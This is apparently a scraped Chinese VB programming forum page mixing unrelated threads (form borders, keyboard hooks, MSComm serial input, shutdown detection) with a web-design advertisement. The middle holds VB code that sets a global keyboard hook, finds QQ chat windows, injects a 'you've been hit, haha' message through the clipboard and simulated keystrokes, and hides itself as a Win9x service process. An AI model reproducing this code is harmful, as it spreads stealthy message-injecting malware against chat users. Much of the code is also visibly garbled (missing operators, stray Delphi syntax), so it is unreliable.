你可以預(yù)先約定一個(gè)截止附,讀取的字節(jié)統(tǒng)統(tǒng)放到緩存區(qū)里,直到讀到截止附再處理、顯示。
專注于為中小企業(yè)提供成都網(wǎng)站制作、成都做網(wǎng)站、外貿(mào)營(yíng)銷網(wǎng)站建設(shè)服務(wù),電腦端+手機(jī)端+微信端的三站合一,更高效的管理,為中小企業(yè)隆回免費(fèi)做網(wǎng)站提供優(yōu)質(zhì)的服務(wù)。我們立足成都,凝聚了一批互聯(lián)網(wǎng)行業(yè)人才,有力地推動(dòng)了近千家企業(yè)的穩(wěn)健成長(zhǎng),幫助中小企業(yè)通過網(wǎng)站建設(shè)實(shí)現(xiàn)規(guī)模擴(kuò)充和轉(zhuǎn)變。
最簡(jiǎn)單的就是把屬性改一下,效果跟無框的差不多。
Me.FormBorderStyle = Windows.Forms.FormBorderStyle.FixedSingle
Me.ControlBox = False
Me.MaximizeBox = False
Me.Text = ""
至于hook的問題,它確實(shí)是比系統(tǒng)慢了一步得到消息,當(dāng)前線程或全局的都一樣,不過你可以先攔截Windows鍵或者Up鍵其中一鍵來阻攔組合鍵。
在Windows使用SetWindowsHookEx來實(shí)現(xiàn)hook(鉤子)。鉤子分類很多,其中消息鉤子可以獲取對(duì)象所接受大部分Message消息。不管是消息鉤子或鍵盤鉤子或其他鉤子,安裝鉤子的SetWindowsHookEx函數(shù)需要一個(gè)回調(diào)函數(shù)指針。Windows收到某個(gè)消息以后確認(rèn)并且發(fā)送應(yīng)用程序前通知我們的回調(diào)函數(shù)。
鉤子有兩種
1)全局鉤子,也就是說我們的程序可以攔截所有外部程序收的的消息。
2)非全局鉤子,攔截當(dāng)前進(jìn)程所收到的消息。
為了實(shí)現(xiàn)全局鉤子,回調(diào)函數(shù)必須在DLL中。好像用VB不能編寫真正的動(dòng)態(tài)鏈接庫(kù)。
以下是簡(jiǎn)單代碼:'Option Explicit
'uses
' Windows, Messages, SysUtils, TlHelp32;
'Delphi 中一些頭引用,相當(dāng)于C++的 *.h
'鍵盤HOOK類型
Private Type tagKBDLLHOOKSTRUCT
vkCode As Long
scanCode As Long
flags As Long
time As Long
dwExtraInfo As Long
End Type'定義API函數(shù)指針,VB不支持該定義
'RegSerProc=Function(dwProcessID,dwType:Integer):Integer;stdcall;Const WH_KEYBOARD_LL = 13
Const WH_MOUSE_LL = 14
'鉤子消息及指針
Private lpMsg As TagMsg
Private lpHook As Long
'動(dòng)態(tài)調(diào)用DLL函數(shù)指針
Private hDll As Long
'VB不支持該定義
'RegPointer:POINTER;
'RegServiceProc:RegSerProc;
'版本
Private OsInfo As OSVERSIONINFO
'QQ窗口的一些句柄
Private buf_hWnd As Long '前臺(tái)窗口句柄
Private CheckBuf_hWnd As Long '判斷是否還是前臺(tái)窗口句柄
Private RichChat_hWnd As Long 'RichEdit20A句柄
Private CheckPaste As Long '判斷是否在進(jìn)行粘貼
'定時(shí)執(zhí)行程序
Sub TimerWork()
MessageBox 0, "一個(gè)消息", "哈哈", 64
End Sub'粘貼代碼
Sub PasteMsg()
Dim hMem As Long
Dim pStr() As Byte
Dim S As String
S = vbCrLf + vbCrLf + "恭喜你,你已經(jīng)中招了!哈哈"
hMem = GlobalAlloc(GHND Or GMEM_SHARE, (LenB(S) * 2) + 4)
pStr = GlobalLock(hMem)
lstrcpy pStr(0), S
GlobalUnLock hMem
OpenClipboard 0
EmptyClipboard
SetClipboardData CF_TEXT, hMem
CloseClipboard
GlobalFree hMem
'發(fā)送WM_PASTE對(duì)QQ2006 and 2007 已經(jīng)不起作用
'PostMessage(lphWnd,WM_PASTE,0,0);
CheckPaste = True
keybd_event VK_CONTROL, MapVirtualKey(VK_CONTROL, 0), 0, 0
keybd_event Ord("V"), MapVirtualKey(Ord("V"), 0), 0, 0
keybd_event Ord("V"), MapVirtualKey(Ord("V"), 0), KEYEVENTF_KEYUP, 0
keybd_event VK_CONTROL, MapVirtualKey(VK_CONTROL, 0), KEYEVENTF_KEYUP, 0
CheckPaste = False
End Sub
'Enum窗口
Function EnumProc(ByVal hWnd As Long, ByVal lParam As Long) As Boolean
Dim RichName As String, ParentName As String 'RichEdit20A,AfxWnd42類名
Dim RichBuf As String * 255, ParentBuf As String * 255
Dim ParenthWnd As Long
'獲取父窗口,通過AfxWnd42進(jìn)行窗口查找
ParenthWnd = GetParent(hWnd)
GetClassName hWnd, RichBuf, 256
RichName = Left(RichBuf, InStr(RichBuf, vbNullChar) - 1)
If RichChat_hWnd 0 Then
EnumProc = False
Exit Function
End If
If LCase(RichName) = "richedit20a" Then
'獲取父窗口類名
If ParenthWnd 0 Then
GetClassName ParenthWnd, ParentBuf, 256
ParentName = Left(ParentBuf, InStr(ParentBuf, vbNullChar) - 1)
End If
'通過父窗口類名進(jìn)行比較,判斷是否為輸入窗口
If LCase(ParentName) = "afxwnd42" Then
PasteMsg
RichChat_hWnd = hWnd
EnumProc = False
Exit Function
End If
End If
'繼續(xù)查找子窗口
EnumChildWindows hWnd, AddressOf EnumProc, 0
EnumProc = True
End Function'Hook代碼
Function HookProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim qqBuf As String * 255
Dim frmBuf As String * 255
Dim frmName As String '窗口名稱
Dim clsName As String '獲取類名
Dim p As KBDLLHOOKSTRUCT '鍵盤按鍵指針類型
If nCode = HC_ACTION Then
If (wParam = WM_KEYDOWN) And (Not CheckPaste) Then begin
'p:=PKBDLLHOOKSTRUCT(lParam);
'此處應(yīng)該翻譯為以下:
CopyMemory p, ByVal lParam, Len(p)
'判斷是否Ctrl+V發(fā)送
If (p.vkCode = VK_RETURN) And ((GetKeyState(VK_CONTROL) And H8000) 0) Then
'獲取當(dāng)前前臺(tái)窗口
buf_hWnd = GetForegroundWindow
GetWindowText buf_hWnd, frmBuf, 256
GetClassName buf_hWnd, qqBuf, 256
frmName = Left(frmBuf, InStr(frmBuf, vbNullChar) - 1) '該地方只是一個(gè)處理而已
clsName = Left(qqBuf, InStr(qqBuf, vbNullChar) - 1)
'通過判斷是否還是當(dāng)前窗口,如果不是則執(zhí)行重復(fù)操作
If (CheckBuf_hWnd buf_hWnd) Then CheckBuf_hWnd = buf_hWnd
'查找QQ窗口
If (InStr(clsName, "#32770") 0) And ((InStr(frmName, "聊天中") 0) Or (InStr(frmName, " 群") 0)) Then
'重新初始化QQ編輯控件句柄
If RichChat_hWnd 0 Then RichChat_hWnd = 0
'遍歷子窗口進(jìn)行查找
EnumChildWindowsmbuf_hWnd , AddressOf EnumProc, 0
End If
'如果是原來窗口,那么直接進(jìn)行處理操作
ElseIf (InStr(clsName, "#32770") 0) And ((InStr(frmName, "聊天中") 0) Or (InStr(frmName, " 群") 0)) Then
PasteMsg
End If
End If
End If
HookProc = CallNextHookEx(lpHook, nCode, wParam, lParam)
End FunctionPublic Sub Main()
'注冊(cè)鉤子時(shí)先判斷操作系統(tǒng)版本
OsInfo.dwOSVersionInfoSize = Len(OsInfo)
GetVersionEx OsInfo
If OsInfo.dwPlatformId = VER_PLATFORM_WIN32_NT Then
'如果是NT系統(tǒng)那么向系統(tǒng)注冊(cè)鉤子
lpHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf HookProc, hInstance, 0)
如果向系統(tǒng)注冊(cè)鉤子失敗
If lpHook = 0 Then SetTimer 0, 0, 500, AddressOf TimerWork
Else
'向9x注冊(cè)系統(tǒng)服務(wù)
hDll = LoadLibrary("kernel32.dll")
RegPointer = GetProcAddress(hDll, "RegisterServiceProcess")
If RegPointer 0 Then
'VB不支持該指針,所以就不翻譯了
'RegServiceProc:=RegSerProc(RegPointer);
'RegServiceProc(GetCurrentProcessID,1);
Else
'如果沒有向9x注冊(cè)成功服務(wù)器,以Timer進(jìn)行操作
SetTimer 0, 0, 500, AddressOf TimerWork
End If
End If
'消息循環(huán),永駐內(nèi)存
Do While GetMessage(lpMsg, 0, 0, 0)
TranslateMessage lpMsg
DispatchMessage lpMsg
Loop
End Sub
這問題LZ在Csdn上發(fā)了兩帖,已經(jīng)給了答復(fù)!
不知為何又在此處發(fā)帖?
上述網(wǎng)址的問題與本題一樣,提問者:jlfly7671,與你是一個(gè)人吧?
用MSCOMM控件實(shí)現(xiàn)
定義數(shù)組a=mscomm1.input
因?yàn)槌绦蛐枰獌蓚€(gè)窗體,mscomm配置連接等代碼寫在frm1中
在frm2中寫入操作返回?cái)?shù)據(jù)的代碼總是報(bào)錯(cuò),所以我想將a寫在模塊中調(diào)用,不知道能否解決?若可以的話 模塊中a該怎么寫?
剛才試過不能用a=frm1.mscomm1.input 定義
分不多,心意盡到 大家?guī)蛶兔?/p>
另外像這樣的情況frm2中需要拖一個(gè)MSCOMM控件嗎?
在SystemEvents類中 可以 用戶試圖注銷或關(guān)閉系統(tǒng)時(shí)發(fā)生。 (當(dāng)用戶試圖注銷或關(guān)閉系統(tǒng)時(shí)發(fā)生。當(dāng)用戶試圖注銷或關(guān)閉系統(tǒng)時(shí)發(fā)生。) 這個(gè) 事件處理函數(shù)中 可以找到如下方法
Private Shared WM_QUERYENDSESSION As Integer = H11
Private Shared systemShutdown As Boolean = False
Protected Overrides Sub WndProc(ByRef m As System.Windows.Forms.Message)
If m.Msg = WM_QUERYENDSESSION Then
'MessageBox.Show("queryendsession: this is a logoff, shutdown, or reboot")
systemShutdown = True
End If
' If this is WM_QUERYENDSESSION, the closing event should be raised in the base WndProc.
MyBase.WndProc(m)
End Sub 'WndProc
Private Sub Form1_Closing(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
If (systemShutdown) Then
' Reset the variable because the user might cancel the shutdown.
systemShutdown = False
If (System.Windows.Forms.DialogResult.Yes = _
MessageBox.Show("My application", "Do you want to save your work before logging off?", MessageBoxButtons.YesNo)) Then
e.Cancel = True
Else
e.Cancel = False
End If
End If
End Sub